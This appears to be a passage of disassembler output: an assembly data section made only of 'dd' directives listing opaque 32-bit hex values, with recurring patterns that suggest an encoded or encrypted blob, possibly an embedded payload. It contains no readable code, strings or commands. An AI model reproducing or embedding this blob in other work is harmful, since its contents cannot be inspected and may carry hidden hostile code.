		dd 779BECDh, 344394B9h,	73068E9Ah, 74747F8Ah, 3162DD65h
		dd 96422DB9h, 2E9A8CF6h, 0BAE764B7h, 65E32D34h,	0FC661132h
		dd 1566883Dh, 95750173h, 0D9BFD4DCh, 0E7FE8C70h, 96C6AABFh
		dd 0BD661D8Fh, 90692234h, 1566117Dh, 0DBEDEE52h, 156CAD61h
		dd 29AE2232h, 0B8C9AD29h, 74A2E138h, 0EC06256Dh, 156628DAh
		dd 1648AC32h, 2C16224Bh, 4E9C04C2h, 88E3A953h, 0FC60B929h
		dd 1566883Bh, 19007705h, 0C5C6129Eh, 24B92000h,	56B9B9C9h
		dd 0AE069BB5h, 346596CCh, 2E9E70C7h, 0BAE7A0B7h, 51E34B34h
		dd 0FC662232h, 1566113Dh, 8088F911h, 0DF0DAD7Bh, 5A2ED59Fh
		dd 9EAF2A4Eh, 0BD4C45B7h, 1577AD34h, 241D2232h,	0C056B65Ch
		dd 6B48B696h, 94C71FDAh, 0ECA6D3A9h, 1567A863h,	0DA678832h
		dd 1563AD6Bh, 0C8E92232h, 2E9D988Eh, 0BAE7A4B7h, 57E34B34h
		dd 0FC662232h, 15661122h, 6A828324h, 69A51945h,	5561E1Dh
		dd 43A60B5Ah, 398B0DB9h, 18F429Ah, 42662232h, 8595DDAAh
		dd 0D4665D36h, 0C0783ADEh, 432FFA10h, 4653B9E2h, 0EA997789h
		dd 4EB96DCDh, 98B0A252h, 25E32A53h, 1A6027B3h, 156668B7h
		dd 19EB2D32h, 0FC661132h, 15668835h, 0FCBB2EBEh, 9E24A795h
		dd 0BD71D8B7h, 0AE357134h, 15664433h, 0FC3DFD33h, 15661137h
		dd 8410CC90h, 21E37F4Ah, 1A608DB3h, 156660B7h, 1DEA8732h
		dd 75664432h, 1AB9CBB2h, 0FC07C085h, 1566883Ah,	7F63E2B7h
		dd 92B04B2Eh, 1B394B9h,	188F8E9Ah, 49664432h, 1C53D75Dh
		dd 784634E2h, 1C1E87BEh, 3069FE60h, 572C3EC8h, 1290DBB3h
		dd 0CF918C4Ch, 78638EB3h, 0D7E722BAh, 91013C8h,	1A3C5F1Bh
		dd 15665DBFh, 1572CB32h, 257F1132h, 0A7B18325h,	566ED8C8h
		dd 0A56E61BAh, 738C5F6Ch, 905D99A7h, 13C9C50Ah,	1549A73Dh
		dd 9E931132h, 0BD6FFDB7h, 4331BC34h, 92207C6Dh,	986971C5h
		dd 15668832h, 156654DAh, 0C512832h, 0FA05C07Ah,	0DDD01C11h
		dd 0BDFC5725h, 4F3F748Dh, 29E32A53h, 1A6027B3h,	15666FB7h
		dd 90EDDE32h, 13CE35DBh, 15668DDBh, 0A5BB7F32h,	4331746Fh
		dd 92204F6Dh, 156861C5h, 4E024432h, 2BD334DFh, 0C3EB6F7Fh
		dd 621BA7F1h, 9426C109h, 9069249Dh, 1566110Dh, 156683DBh
		dd 15EB9C32h, 90208C7Bh, 0A52B0109h, 13270DB9h,	0FD06429Ah
		dd 15662237h, 0A52DEAA2h, 4E07E809h, 64E8EB3h, 42071692h
		dd 9E4215CDh, 0D1E5AC0Eh, 94002436h, 958E03FBh,	2E0771C1h
		dd 0BAE7CCB7h, 3EE34B34h, 0FC662232h, 15661135h, 18B742A5h
		dd 9E2F8AFCh, 0BD553FB7h, 73357134h, 4D3A7689h,	2ADA8CB3h
		dd 40072312h, 0EA99EE8Fh, 4889A1CDh, 905DB8C7h,	13CE16A3h
		dd 152A943Dh, 18F8832h,	96664432h, 3A89FD7Bh, 497590DBh
		dd 4D6F45FAh, 0D5629915h, 9E39A9A2h, 0BD64F8B7h, 156A6134h
		dd 98084432h, 71641874h, 32B68A68h, 0AC37F177h,	15664433h
		dd 1A3FED33h, 15661CB8h, 156E6132h, 2F1F4432h, 0ADB47379h
		dd 905DE8FFh, 13C9097Ah, 152DC13Dh, 9B692232h, 15661134h
		dd 75950352h, 90ED2553h, 13CE3337h, 15661CDBh, 2F8CA232h
		dd 1F11A2ECh, 117BA379h, 0AE35B8B2h, 15668833h,	753D9B33h
		dd 1560A93Dh, 95691132h, 15668832h, 15664FDBh, 82BE2232h
		dd 0DFFCF402h, 0CEF1F174h, 91E37F53h, 1A608DB3h, 156673B7h
		dd 156F6132h, 0A4E94432h, 0D03B7B39h, 75A9E41Bh, 54FB9C8Bh
		dd 0A8E52536h, 13C9A3BEh, 35E31E32h, 1A668832h,	156648B5h
		dd 13E92D32h, 1A661132h, 156688B5h, 0A4DBC732h,	15608A38h
		dd 1547953Dh, 9E9F8832h, 0BD5775B7h, 0A833DA34h, 5DD3161h
		dd 0F8E755C5h, 0FA229B9Eh, 753BCD33h, 0FBE777CEh, 2E07E70Fh
		dd 0BAE7CCB7h, 6EE32D34h, 75661132h, 156686DAh,	0A1031932h
		dd 37622526h, 0A2A1D183h, 7536F3AFh, 0D4ED1D53h, 99DBA153h
		dd 1560BEB3h, 15420D3Dh, 9F694432h, 15662235h, 1567943Dh
		dd 969A8832h, 0BD6CF58Fh, 91692234h, 15661108h,	15668DDBh
		dd 0BFEBCE32h, 90ED47FEh, 13CE3787h, 1564053Dh,	74064432h
		dd 11A99C52h, 749F30BFh
		dd 0EA993062h, 0D24FBBCDh, 156ECB6Ah, 211C1132h, 4DE6C552h
		dd 9E06BC56h, 905D43F5h, 13C9907Eh, 152F0D3Dh, 73064432h
		dd 0B63FFDB3h, 156605DBh, 345DDC32h, 0C5394625h, 0C7E29F09h
		dd 984B13BFh, 33E46E31h, 0E90625E4h, 90ED43CBh,	13CE1A1Fh
		dd 14DBDDCAh, 14664432h, 58F7FDDh, 0DB661132h, 4E2541FEh
		dd 27B97280h, 0D3422476h, 2EA98860h, 0BAE7D8B7h, 5AE34B34h
		dd 0FC662232h, 15661121h, 0A37A819Bh, 0B77A292h, 7DE35774h
		dd 0F8CE290Bh, 0FC0EF907h, 15664426h, 807C1597h, 68A86BEFh
		dd 4F005132h, 507476C7h, 8D946794h, 3B9F94B9h, 0A6068E9Ah
		dd 0AF34253Fh, 15662233h, 753CC633h, 0F8D260B3h, 0F1E619FEh
		dd 905D434Eh, 13C99066h, 15240D3Dh, 1D8F4432h, 9C662232h
		dd 8AD63EF2h, 9E70E825h, 0BD7279B7h, 1576CB34h,	0B9DE1132h
		dd 0A776B2AEh, 0F953525Fh, 9F5CDCA0h, 0F9E73F7Dh, 15668836h
		dd 0EA4278BBh, 75390636h, 0CDE35C88h, 0BEA50904h, 74795D03h
		dd 943EA709h, 9069179Dh, 15668802h, 15664ADBh, 731A0E32h
		dd 8058DCF5h, 0F0A3A9EBh, 9EDF442Fh, 0BD4A97B7h, 156EF834h
		dd 635D8832h, 7A3557ACh, 0AF3492D0h, 0EA99EECDh, 0ED3C5F1Bh
		dd 943AC109h, 9069249Dh, 1566112Dh, 1567093Dh, 9E9F4432h
		dd 0BD688BB7h, 14EE1E34h, 0E9668832h, 0EA99FC62h, 0D24FDDCDh
		dd 2E9FE86Ah, 0BAE7E8B7h, 55E34B34h, 0E0662232h, 1E394B9h
		dd 9F698E9Ah, 1566443Eh, 156625DBh, 78D2AD32h, 59F432EAh
		dd 62F5FC62h, 5443196Ch, 0E2163966h, 1163C8EAh,	106E6F3Ah
		dd 23A3530Ah, 0FD432A1Fh, 4DA1893Ch, 1567C73Dh,	1E9F2232h
		dd 0BE21ECDh, 75668832h, 1566CF3Dh, 91D82232h, 7474E28Bh
		dd 0EA8B22DBh, 1561ADCDh, 0C1DD2232h, 0C83EBE73h, 0ACE3B3ADh
		dd 1A60EC01h, 156608B7h, 108F7132h, 0B0668832h,	0FB246B50h
		dd 1560A63Dh, 93691132h, 15668832h, 0BFE3C953h,	0EC608D28h
		dd 0EA8B7FDBh, 7531E8CDh, 2E071C53h, 0BD5423B7h, 75E31E34h
		dd 75668832h, 82F6A5B3h, 0EDED186Dh, 0B9DB9253h, 146027B2h
		dd 152FC13Dh, 78F2232h,	7B661132h, 46674349h, 52A675C7h
		dd 0E9F5897Bh, 0D8117EFCh, 1A06E85Ch, 0E2D48A8Dh, 90EB4353h
		dd 153F1A55h, 0F87F61CAh, 128FBBCDh, 68662232h,	0CD7FC3Eh
		dd 198F4600h, 0F664432h, 656B2957h, 84BA51B0h, 2E43F8D4h
		dd 0BAE6F8B7h, 3AE22D34h, 75661132h, 156681DBh,	48A1B232h
		dd 7E003A21h, 9B692D9Bh, 15668830h, 2E07B4B9h, 0BAE6E2B7h
		dd 2E31E34h, 1A668832h,	156641B0h, 0EFED4232h, 0A98F70CBh
		dd 1A9977DEh, 156645B3h, 0F9E5DE32h, 31629836h,	1566888Ah
		dd 4DA0CD32h, 0EC06DB52h, 1566943Dh, 74078832h,	156642DBh
		dd 9A1D8032h, 96612C1Ch, 906989CCh, 1566451Dh, 0C3D92D52h
		dd 156617DAh, 41C90532h, 75193639h, 2E077A53h, 0BAE6A1B7h
		dd 27E38734h, 0FC664432h, 15662226h, 7118835Eh,	417D1CE4h
		dd 3CE948A5h, 294C004Dh, 8E3359CFh, 92A20DBFh, 0FC9A446Ah
		dd 0EA99CE71h, 156619DBh, 15D7132h, 4411972Eh, 0A1E31954h
		dd 1A60BEB2h, 1566D3B7h, 0BD92432h, 0E93EB430h,	1569F853h
		dd 29668832h, 0FE7D6D21h, 324BEE60h, 20E85B2Ah,	2FE30566h
		dd 75661CBAh, 156FCA60h, 0DD231132h, 2093E76Eh,	4D43943Bh
		dd 156ECB6Ch, 36F1132h,	0F1E7A81Bh, 0FC0790BFh,	0EA99C9D1h
		dd 156CF852h, 0E7208832h, 0E4A19E29h, 24DA0766h, 7492C1B2h
		dd 95DE0D09h, 9069429Dh, 15662259h, 6AE39CCEh, 1A66D0BAh
		dd 156675BFh, 48F4232h,	2661132h, 32542025h, 0CA97E465h
		dd 0DFBD9EF5h, 50231A0Fh, 15669CDBh, 24C1E132h,	7322B0D0h
		dd 4AB35CADh, 0C1CCEFFh, 6EC52A47h, 958F431Ch, 7599EED9h
		dd 156680DBh, 0CC98E732h, 0DCD08576h, 1568F9B7h, 3FC8832h
		dd 0E2DAC736h, 2FBFBE53h, 0EE2B519h, 0EDBD0954h, 45071B49h
		dd 944226B9h, 156615F6h, 15756132h, 660A4432h, 0BEBBEED0h
		dd 0CA2EF695h, 0F7303366h, 8031C623h, 0F9E5DE3Ah, 314A9836h
		dd 6611D85Ah, 0E223193Eh, 0F83A3EFh, 94728A7Eh,	629170F7h
		dd 4888CDDDh, 156FAC3Dh, 73061132h, 1AB86088h, 1E078485h
		dd 2FE32DC4h, 75661132h, 1567093Dh, 9F9F4432h, 0AF8F43CAh
		dd 1A99EED8h, 156684B3h, 13EE4B32h, 1A662232h, 156611B7h
		dd 15756132h, 6EEC4432h, 0BE1F40E5h, 42601851h,	0C6C350Bh
		dd 54709597h, 39E772ABh, 0C14C9316h, 0A833D630h, 70866ECAh
		dd 151CD7B3h, 0FB677606h, 1EE7876Fh, 0FC664432h, 15662234h
		dd 4766A158h, 0A0EF9271h, 13CE4C0Fh, 156AAF3Dh,	9D691132h
		dd 15668834h, 1566C23Dh, 9C9A2232h, 0BD60E487h,	6E88734h
		dd 75664432h, 156624DAh, 0A153FF32h, 4AEBC416h,	5222F68Dh
		dd 2BE64316h, 0BDE31EDBh, 0E0668832h, 1567FE60h, 0E7672232h
		dd 1ED2BB9h, 11A20B16h,	79A1C5C7h, 142D3517h, 79DF40C5h
		dd 3C2D9F17h, 90691DFDh, 15662239h, 156617DBh, 4100C332h
		dd 4369DC02h, 3CB19860h, 41673AF1h, 4E3C8C16h, 3CB1AFB3h
		dd 7D9F09F1h, 156657B6h, 0AC4284BBh, 15660432h,	1A3FE933h
		dd 156610B3h, 0A85D7132h, 13CE4C0Fh, 1548A03Dh,	96691132h
		dd 1566883Bh, 0CFE72252h, 4D314BFFh, 1A9D2A53h,	1566AEB4h
		dd 94062432h, 7FD7C3EBh, 0DEE77700h, 1A0707BEh,	156646BDh
		dd 74619132h, 0EA8F99DBh, 156361CDh, 60624432h,	9E87F459h
		dd 0BD7C808Fh, 15746134h, 1F204432h, 0F023C946h, 0EA98C0AFh
		dd 0D8FCAE8Ch, 0DC462561h, 3E33A7F5h, 1566179Ah, 1A9E8832h
		dd 156648BFh, 1561CB32h, 8A681132h, 6A98F97h, 9C9F2440h
		dd 0BD60D787h, 0DEC1E34h, 1A668832h, 156656B8h,	156BCB32h
		dd 0E32F1132h, 0F5F0B8A0h, 0EE88BB9Ch, 98C2D04Bh, 0A56243AFh
		dd 15776134h, 19614432h, 0B56EF1ADh, 795CC14Ah,	82B19E0Dh
		dd 0E0A16A8Bh, 1E93F1CDh, 12E21EF2h, 0E9668832h, 156626DBh
		dd 88EBD732h, 13CB816Dh, 156C6152h, 2DFF4432h, 0AA18CD3Ah
		dd 0C6C7AC34h, 15660C3Dh, 0EC074432h, 9669F1CDh, 0EA99EEB5h
		dd 15668FDBh, 0E2E24432h, 332FAA2Bh, 1393A4B9h,	68F8E9Ah
		dd 69664432h, 4178CD1Ah, 0A222F89Ah, 49996442h,	50891146h
		dd 0A0EFE8C3h, 13CE3A67h, 1AFB05CEh, 0ED60EAAAh, 9E9FF1CDh
		dd 0BD6E2CB7h, 90EF7134h, 13CE42C7h, 0FC07DAC7h, 15661135h
		dd 0DCADCB8Bh, 95EF2BF2h, 9069CA0Ch, 156611CEh,	0FDA50352h
		dd 15664439h, 4A388191h, 26D497EEh, 1A5E41C1h, 156644BAh
		dd 96077D32h, 0BD542C8Fh, 91698834h, 156644E6h,	940042CEh
		dd 9ED0AEC5h, 0A334E9E4h, 95A8BAA6h, 0C3905DD4h, 95E9F7B2h
		dd 9D372BDCh, 4C8ECCC7h, 0FCCCDB68h, 15661122h,	19089C8Fh
		dd 690E2606h, 0D1BC2430h, 5C6D502Ah, 1528D25Ah,	3152CD32h
		dd 934226B3h, 4D370901h, 0D550E1Fh, 0FD06B163h,	15662220h
		dd 0B8F28191h, 0BF45CDA3h, 1F2506B0h, 0C29299Dh, 0C5E771C2h
		dd 0AA4F07Ah, 0E6D14B6Ah, 0F2DB7753h, 94051911h, 8BD14EDFh
		dd 488E4500h, 344BDA1Bh, 7556785Eh, 9EBF0354h, 0AB3025C3h
		dd 15662236h, 4D10091Fh, 1096A151h, 763E322Ah, 156ACB6Ch
		dd 659D1132h, 67AA6152h, 79045478h, 0E9CD5775h,	156459DBh
		dd 17D9E832h, 757F60ACh, 1F8E4352h, 0CE661132h,	62E479BFh
		dd 5DEF2FB4h, 74077C13h, 0FFB68CBFh, 128F8E9Dh,	47664432h
		dd 0F240B78Fh, 0C6994633h
		dd 156A0B3Dh, 95694432h, 15662234h, 1566963Dh, 1A068832h
		dd 156640B8h, 0E9DD4432h, 13EF1E6Ah, 1A668832h,	156644B1h
		dd 88EB4332h, 13C9EE08h, 1567083Dh, 759A4432h, 73FED0B2h
		dd 0EA07CBB9h, 156361E1h, 9C3D4432h, 1EF774EAh,	0FE31EF2h
		dd 0FC668832h, 1566443Ah, 5B9C659h, 0B15780D3h,	1566BADBh
		dd 17ED4B32h, 75662232h, 0E0E39253h, 10602034h,	0EB0BADCBh
		dd 9D69DDCDh, 15661125h, 15669ADBh, 3B1EDA32h, 7C89EBA2h
		dd 5CC66E85h, 645D8C3Ch, 98AB6784h, 0A567AAAFh,	1DE41E34h
		dd 75668832h, 1566C93Dh, 0EA072232h, 14E31EE1h,	0E0668832h
		dd 90698439h, 15662209h, 0F1D87752h, 156C61F3h,	0EAA74432h
		dd 2D1F3329h, 2A68635Ah, 153B6153h, 94064432h, 7D66B9F2h
		dd 0A5067050h, 15766177h, 0C21A4432h, 28F538DFh, 82658E8h
		dd 4232D37Fh, 46073CD5h, 595C4A65h, 5A39297Bh, 15364FB3h
		dd 0D2E76344h, 0B5269149h, 1439EABBh, 1F8FD3E8h, 49664432h
		dd 0FCBF2F58h, 0A64088A9h, 15956147h, 1D8F4432h, 5662232h
		dd 1A7BABD7h, 9893CBD1h, 0B8F61BAFh, 0C699D734h, 154D923Dh
		dd 0A3068832h, 0A0ED251Bh, 13CE24C7h, 156EF8C7h, 21F58832h
		dd 4C7A3EA9h, 0CC8FB37Ah, 0FC66111Eh, 1566883Bh, 75C87F79h
		dd 148D6235h, 0E0EB9A41h, 0FC602034h, 15664421h, 0FBAFA34Dh
		dd 5272656Fh, 8256115Fh, 7B4EB16Ah, 9CCA27EAh, 0BD60E487h
		dd 156C6134h, 7AB84432h, 55B1DB35h, 1B25B7A9h, 4F8F09CEh
		dd 3C397132h, 4FDC70C3h, 14392432h, 409FD2E3h, 0D11C418Fh
		dd 4A93A36Fh, 9405BE37h, 0E470BDFFh, 0C4A3C524h, 946B7626h
		dd 5AF241C7h, 9CABA17Eh, 949A19DBh, 343410F4h, 51889002h
		dd 3C79477Fh, 51A0C5FCh, 9479ED7Fh, 343423DCh, 156C6102h
		dd 473C4432h, 5FB68AF7h, 13C5E44h, 1A062CC1h, 156644BBh
		dd 0DFED4432h, 0E9B3F853h, 906977CDh, 15664433h, 0B9FBAFCEh
		dd 1A60BFABh, 156689BDh, 7306B132h, 15FBB3h, 1AB5EE53h
		dd 15668FB2h, 14EB4B32h, 0ED662232h, 31529065h,	5C7ADB08h
		dd 2FDF156Ah, 242F3E61h, 3E9E48FAh, 0BD7C19B7h,	90EFB134h
		dd 13CE2B53h, 84E39ACAh, 1A602028h, 15664DB5h, 0AA694232h
		dd 0F2DD77C5h, 240EE949h, 9C66441Ch, 7D9F060Eh,	15667DC7h
		dd 1A428CBBh, 156645B4h, 128FD732h, 91661132h, 90E8D27Bh
		dd 98EB4681h, 13C8B9FFh, 2432A952h, 1C8FA960h, 8C664432h
		dd 0A6F98E3Bh, 0A97462AEh, 0FCB77753h, 15664439h, 3E072E83h
		dd 5036A357h, 9EA130CEh, 0BD54A9B7h, 198F4234h,	0BD661132h
		dd 0A9BAF5C0h, 175BCF2Ch, 74DB5CCFh, 94809864h,	15668CF4h
		dd 1188C532h, 92662232h, 9C3A3506h, 449FAC36h, 0D4E7A5BBh
		dd 15662236h, 1562F8B3h, 19E18832h, 29EF1816h, 2E82D16h
		dd 0FC661132h, 15668820h, 0F21E9941h, 3270AD41h, 20009B09h
		dd 3497E0Eh, 90ED90B5h,	13CE38A3h, 6B1679C7h, 11EF8832h
		dd 188FB816h, 54662232h, 0EF2E0D09h, 0B6E4AD48h, 8084F65Dh
		dd 8997AFBFh, 7306179Ch, 688B57B3h, 74B4B7B2h, 9506F3CDh
		dd 0A269B0C7h, 9C33E9C9h, 39E711F7h, 0A434E216h, 0D7E74B06h
		dd 21D7DAF2h, 18F246Fh,	0D9662232h, 0E1D84CFAh,	60B01FFCh
		dd 0D0FCEAA7h, 56A66F12h, 0EC2F7E32h, 9E367153h, 0D1E7603Eh
		dd 15662236h, 984DEDCBh, 13CEBADFh, 60DBC7CEh, 15608A32h
		dd 15A2953Dh, 0FC068832h, 1566443Bh, 0AC9E1F8Bh, 38E5926Bh
		dd 9E077496h, 0BD70EDB7h, 0CFE74234h, 436BBA24h, 88A90954h
		dd 904D25EDh, 13CE2247h, 15719B3Dh, 91698832h, 15664423h
		dd 15662EDBh, 92F93132h, 623C9025h, 969B4FCh, 156DCBEEh
		dd 0BD661132h, 9CA0A5B7h, 0CD4129AFh, 1AA719A6h, 156674B4h
		dd 9369E832h, 15664437h, 1AEA354h, 7401A078h, 1A8F0DB9h
		dd 58F429Ah, 8A662232h,	974E284Ah, 514B2BFAh, 0C8A54899h
		dd 1688177Ah, 0BD6664B7h, 15636134h, 0D4A54432h, 9C12F57Fh
		dd 0BD64DCB7h, 19ED8734h, 1A664432h, 156624BAh,	15E41E32h
		dd 0FC668832h, 15664584h, 156EAC3Dh, 92691132h,	15668830h
		dd 460E2552h, 9C662254h, 9469353Eh, 15668838h, 1A3F1752h
		dd 156622B9h, 47377032h, 0B22BC88h, 3132752Ch, 203E7836h
		dd 0B785506h, 15669BDBh, 0FEB4E632h, 0D7CBB519h, 0AC6D40F0h
		dd 4FB5D9C8h, 0C2043962h, 2C019C64h, 0CB912E40h, 3180097Ch
		dd 0E225723Eh, 1588A3E4h, 14D9EACEh, 1C8FD6C2h,	94664432h
		dd 0A1DF1F32h, 0CEA5F37Ah, 0EAD8DE65h, 9C66443Dh, 0ED6F7CC5h
		dd 0EF1E6Dh, 0FC668832h, 15664422h, 67EB60EEh, 810FEB93h
		dd 9D53E206h, 9BBC3487h, 15679C64h, 0E5671132h,	0FC06E86Ch
		dd 15664439h, 795FD66Dh, 0C81D1976h, 0FD39BA42h, 15664434h
		dd 40F55025h, 74381586h, 0BCE30153h, 7560EC24h,	1F8FC785h
		dd 0CE661132h, 149D1EDFh, 0AEE489D1h, 90674386h, 13CE3DA7h
		dd 156698DBh, 55A0F632h, 856DD42h, 5C9EFC4Fh, 683FE384h
		dd 60E383C3h, 15608A32h, 75661132h, 0AE946CB2h,	11987993h
		dd 75264853h, 0FD372281h, 15668835h, 0F5B5F32Fh, 4A3B1CF7h
		dd 150E706Bh, 0FC668822h, 15664426h, 0F9B32AFCh, 0B9749200h
		dd 32B16E0Ch, 37F39590h, 847D5D2Ah, 1573933Dh, 58F8832h
		dd 2A664432h, 0DBB5E7EDh, 38C4FC6h, 0C00453A6h,	7DAFA62Ch
		dd 15660E25h, 0E9421DBBh, 73068858h, 74CE038Bh,	35DBB7CDh
		dd 0EA9A179Ah, 0BD6AF9A7h, 14E84B34h, 0E0662232h, 1A8F94BBh
		dd 138F8E9Ah, 0E6664432h, 0D1E8C9B5h, 0D8E398BEh, 75602030h
		dd 9E07A7B8h, 9C35063Eh, 11A590D1h, 94668832h, 156640F1h
		dd 317AA532h, 0A099E46Eh, 13CE8AFFh, 1577C63Dh,	9B692232h
		dd 15661139h, 15668EDBh, 0A7E90B32h, 0EAB5C3F0h, 0BD54FC87h
		dd 92697D34h, 15664433h, 13BC4ACEh, 29EF1132h, 15766116h
		dd 48C44432h, 570991F2h, 6053989Ch, 7ED21A00h, 0A09902C5h
		dd 13CE38A3h, 15779B3Dh, 198F8832h, 0D3664432h,	1C4D3781h
		dd 2191A80Ch, 98AE2C1Dh, 0BBD238B7h, 0C599DE34h, 0D7DF7752h
		dd 14077423h, 0BD6631BFh, 1560CB34h, 8B6E1132h,	0B62607FFh
		dd 0D8DBCFCBh, 1A608A30h, 15661CBBh, 156E6132h,	58424432h
		dd 40E342CEh, 0A0EDFC24h, 13CEBADFh, 0E9C2B7C7h, 0FD797B9h
		dd 1B8F179Ah, 77668832h, 671BA4E9h, 5048E503h, 2480D1B8h
		dd 0FD062521h, 1566443Fh, 0A812A6EDh, 1C004765h, 5E4A0611h
		dd 9A691BC1h, 15662231h, 744AF5B2h, 24D83361h, 0F6A74BBEh
		dd 7FA5A334h, 943B9D7Bh, 9E2F5DD9h, 11858538h, 18069A62h
		dd 0DF4B6064h, 0D4678829h, 724340D2h, 1072A210h, 2E595F7Eh
		dd 82C42C37h, 4DA56D13h, 4E9A7CBBh, 156D903Dh, 73068832h
		dd 0D30CA7B3h, 0E0D29C54h, 10A6D053h, 156682DBh, 0FE381332h
		dd 0C28F4FA5h, 446EEFC2h, 795A3664h, 0E4EF763Ch, 0AA87A36Ch
		dd 5416E54Ah, 946561F3h, 0CF7AD5FBh, 0E8A7A33Dh, 946C4B0Dh
		dd 16188EF3h, 4CAE4520h, 1561AF3Dh, 91691132h, 15668833h
		dd 0C0E347C7h, 1A608A03h, 156605B8h, 15696132h,	0F28E4432h
		dd 77A5F9D1h, 60AFD75Fh, 7B4658ACh, 0D8EBCF92h,	1A608A30h
		dd 156603B7h, 1F8EE832h, 98664432h, 4722AC59h, 0D73488ADh
		dd 9607D0F3h, 19EF40DEh, 1A66AD16h, 156616B2h, 14E28732h
		dd 0E0664432h, 14EC2D9Fh, 0E0661132h, 4FC03062h, 0CD915B85h
		dd 247EC317h, 746F2426h
		dd 0F5A7BBBAh, 94630C35h, 465DED69h, 4BEFD2BBh,	1A3ED3CEh
		dd 156648B1h, 13E42D32h, 1A661132h, 156688B4h, 0A4D3CD32h
		dd 0FC608A28h, 15661135h, 2515927Fh, 9623F5D3h,	9069DDCAh
		dd 15661155h, 0BB363252h, 940703EFh, 0C8BBFF0Ch, 41E31EEFh
		dd 75668832h, 7439B165h, 15669F67h, 9A331132h, 409ED534h
		dd 1566408Fh, 5988A332h, 143F9709h, 59A009DCh, 483FC209h
		dd 0C3D92D52h, 0D7819054h, 0A0EFE9D6h, 13CE5E83h, 15662CDBh
		dd 14DD5432h, 908DBC91h, 939912FCh, 0FC69BF11h,	0EA99C2E7h
		dd 0EFEDEE52h, 0D40785B9h, 1A0621F2h, 156611B8h, 9C69D932h
		dd 15664432h, 9065436Bh, 13CE20E7h, 15669BDBh, 87B91232h
		dd 452FE88Dh, 0D889BC80h, 0A5078BE4h, 0DC490BC3h, 1B2F9FB1h
		dd 1A67179Ah, 156291B6h, 156FAD32h, 0E76D2232h,	9DA25B1Ch
		dd 94CEBDB8h, 0BFCCEE0Ch, 0D7E32D98h, 0FC661132h, 15668839h
		dd 1A2E7301h, 84737356h, 4068052Fh, 15623163h, 0D8EF4432h
		dd 4888236Bh, 1570963Dh, 48F8832h, 82664432h, 0AF355296h
		dd 0ED4A44C9h, 7455205Ch, 6D19932h, 1578795Ah, 31629832h
		dd 1267EA8Ah, 0E920834Dh, 6A612350h, 4D9A571Bh,	156682DBh
		dd 3A0DE832h, 1A5D7C7h,	4583E176h, 29EDD065h, 11A2C716h
		dd 156BA63Dh, 1D8F1132h, 8C668832h, 0AC38B16Ch,	75D522E5h
		dd 95989A54h, 440791EBh, 0C0906287h, 0D098E7CCh, 9D54E4B2h
		dd 48FD1DAh, 24664432h,	14E7A50Bh, 8CF4B81Bh, 0D902D4BDh
		dd 71F6D7ADh, 156676DBh, 1569F832h, 0E9838832h,	3F2417EAh
		dd 0C98C1EEh, 77FBAD03h, 249EB985h, 1A9E75F5h, 156634B5h
		dd 5E01E32h, 0FC668832h, 15664439h, 93F211DFh, 0AC2D5308h
		dd 0A5AA7188h, 47A1489Ah, 0FBA62A84h, 61A09130h, 151B66B2h
		dd 138F1EC2h, 0B8662232h, 5C28DEBEh, 0F3EFDE8Eh, 156282B3h
		dd 0FBE72232h, 15661136h, 4942BCB5h, 0EC4240BBh, 1FD79FB1h
		dd 1A67179Ah, 156705B6h, 0AB002432h, 73D9CFC2h,	74545A40h
		dd 3BAAE060h, 0D43C5545h, 0E7E724D0h, 624308E2h, 2B2362B3h
		dd 0D7E70AC1h, 3162B647h, 1EDC1BBh, 11A20916h, 75664432h
		dd 74A1A9CEh, 95AEACB1h, 1A668E9Dh, 15661DB6h, 14E52D32h
		dd 0ED661132h, 157E023Dh, 68F4432h, 17662232h, 0C921CCA2h
		dd 0FB0BD2DCh, 0A35E038Bh, 64184B26h, 88EB6CD1h, 13C8412Dh
		dd 1561CA3Dh, 75062232h, 0DAED7753h, 75B57753h,	15664BDAh
		dd 0F97D6E32h, 221BFCAh, 3986ACEAh, 0E1D53367h,	4A85E7B2h
		dd 0F5AD9054h, 2AE6E94Fh, 53E24BA2h, 1A662232h,	156600B0h
		dd 156A6132h, 5A584432h, 3C92EDA0h, 3CFE3B54h, 4093AC10h
		dd 1566418Fh, 0E89A332h, 14464F19h, 0EA109DDh, 48461A19h
		dd 1561A53Dh, 91691132h, 15668833h, 1492ADCAh, 93692232h
		dd 15661133h, 459E0BCAh, 15FEC63Dh, 9A692232h, 15661133h
		dd 0A63570CEh, 458594FFh, 0F64E2886h, 4EBE996Ah, 18EB87CBh
		dd 75664432h, 156624DBh, 82688B32h, 7476B724h, 1EEB4B98h
		dd 0FC662232h, 15661134h, 7E7A8404h, 2199C1CDh,	0D1E57A16h
		dd 156DF836h, 9C338832h, 62AD1530h, 84E4F1EBh, 48FBBDEh
		dd 9A668832h, 83E4B28Bh, 5D430A30h, 3B0FF55Fh, 0A6EE1BC5h
		dd 1574AC52h, 0F7FE2232h, 33786081h, 0BC6A7148h, 0F06C756Dh
		dd 0DF0FCA1Eh, 0D199D0B3h, 0A338AF69h, 0F18F254Ah, 1A662232h
		dd 156610B9h, 11ED7032h, 0F3EF1216h, 1562E4B3h,	0D3E51132h
		dd 31520F36h, 0FD06246Eh, 1566223Ah, 0CEC7A429h, 60B6F10Bh
		dd 74A0CF6Bh, 0BF07D2B8h, 0EA1991CAh, 0BDE387DBh, 1A664432h
		dd 15662AB7h, 17E21E32h, 75668832h, 0F2E72453h,	25589013h
		dd 156602DAh, 92444232h, 0FACE252h, 10D93198h, 97F620Bh
		dd 0A564C694h, 4D199BB3h, 743C0757h, 95AEACB1h,	1A668E9Dh
		dd 15660DB6h, 1BE32D32h, 75661132h, 1566053Dh, 0DAE74432h
		dd 6673029Dh, 5FB9C53h,	0FC6026FAh, 15664426h, 4B9B002Ah
		dd 0C08D3583h, 637968DFh, 0EFF08EF8h, 0C63E078Ah, 1A06C2CDh
		dd 15668EBFh, 15E44B32h, 94662232h, 1AB7F0FDh, 9D34E91Fh
		dd 11DD17F4h, 14662232h, 4E5599C9h, 12EE8768h, 1A664432h
		dd 156623B2h, 9E9AE432h, 0BD6445B7h, 0BC63BD34h, 3821A415h
		dd 710031C8h, 0EF63701Bh, 38022212h, 52E0059Bh,	0A26971CEh
		dd 156361C0h, 0C5434432h, 7434B173h, 1548635Ah,	317A0132h
		dd 15664089h, 4EBE0B32h, 1572F852h, 9D338832h, 8EFA1F67h
		dd 0D6529930h, 0BF55C77h, 33D628E2h, 0BE073466h, 156633DBh
		dd 0B06DCC32h, 0C79BC6C9h, 3C6D25DEh, 59288AF1h, 0E0CBA70Dh
		dd 687D3567h, 53A16CB7h, 6FE4C7CEh, 0E90810E5h,	9442A4B9h
